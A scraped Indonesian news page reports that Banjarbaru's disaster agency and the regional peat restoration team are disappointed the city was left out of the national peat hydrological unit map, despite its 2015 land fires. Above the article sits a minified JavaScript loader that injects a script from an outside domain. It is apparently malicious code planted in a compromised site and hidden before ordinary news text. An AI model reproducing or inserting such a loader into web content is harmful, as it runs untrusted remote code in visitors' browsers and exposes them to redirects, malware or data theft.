(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

BPBD Banjarbaru Kecewa Tidak Masuk dalam Kesatuan Hidrologis Gambut


BANJARMASIN, Badan Penanggulangan Bencana Daerah Kota Banjarbaru pada pertemuan beberapa Dinas Berbasis Lingkungan Hidup terlihat kecewa atas sikap Kementerian Lingkungan Hidup dan Kehutanan yang tidak memasukan Kota Banjarbaru dalam Kesatuan Hidrologis Gambut. Hal tersebut ada dalam Keputusan yang termuat dalam Surat Keputusan Kementerian Lingkungan Hidup dan Kehutanan Republik Indonesia Nomor: SK.130/MENLHK/SETJEN/PKL.0/2/2017 tentang Penetapan Peta Fungsi Ekosistem Gambut Nasional.

Kepala BPBD Kota Banjarbaru Johar Arifin mengatakan kecewa dengan tidak masuknya Banjarbaru sebagai Kesatuan Hidrologis Gambut. Padahal Banjarbaru sempat menjadi fokus pemadaman api kebakaran lahan yang meluas pada 2015 silam. “Padahal pada tahun 2015, Karuthala terjadi di kota Banjarbaru,” katanya.

Ia menambahkan, bahwa kebakaran hutan dan lahan di Kalimantan Selatan tidak hanya terjadi di beberapa kawasan rawa dan gambut. Melainkan pekarangan dan kebun karena menghasilkan kabut asap. “Harusnya yang ditanggulangi adalah asapnya, bukan fokus Kesatuan Hidrologis Gambut (KHG),” ucapnya.

Ia berasumsi Kota Banjarbaru seharusnya menjadi prioritas Kesatuan Hidrologis Gambut. Johar menuturkan, Pemkot Banjarbaru selama ini menangani persoalan asap tersebut menggunakan dana APBD. “Kita masih mengusahakan agar kota Banjarbaru juga bisa masuk,” ungkapnya.

Dipaparkannya bahwa Banjarbaru telah membuat sekitar 50 sumur bor atas bantuan dana lembaga donor atau bantuan luar negeri. Kebakaran lahan di Kota Banjarbaru kerap berdampak negatif terhadap lalu lintas penerbangan di Bandara Syamsudin Noor.

Sementara itu, Ketua Tim Restorasi Gambut Daerah Kalimantan Selatan, Saut Nathan Samosir terkejut mendengar Banjarbaru tidak masuk hitungan KHG. Padahal, kata dia, kebakaran lahan hebat sempat melanda Kota Banjarbaru yang memicu lahirnya Peraturan Presiden (Perpres) Nomor 1 Tahun 2016 tentang Badan Restorasi Gambut.

“Malah Banjarbaru yang tidak termasuk dalam SK Menteri Lingkungan Hidup dan Kehutanan tersebut,” ucap Saut.

Lantaran bukan KHG, kata dia, Pemkot Banjarbaru mesti memakai ABPD dan lembaga donor untuk merestorasi lahan gambut, bukan dana APBN.(ammar)

Reporter:Ammar
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.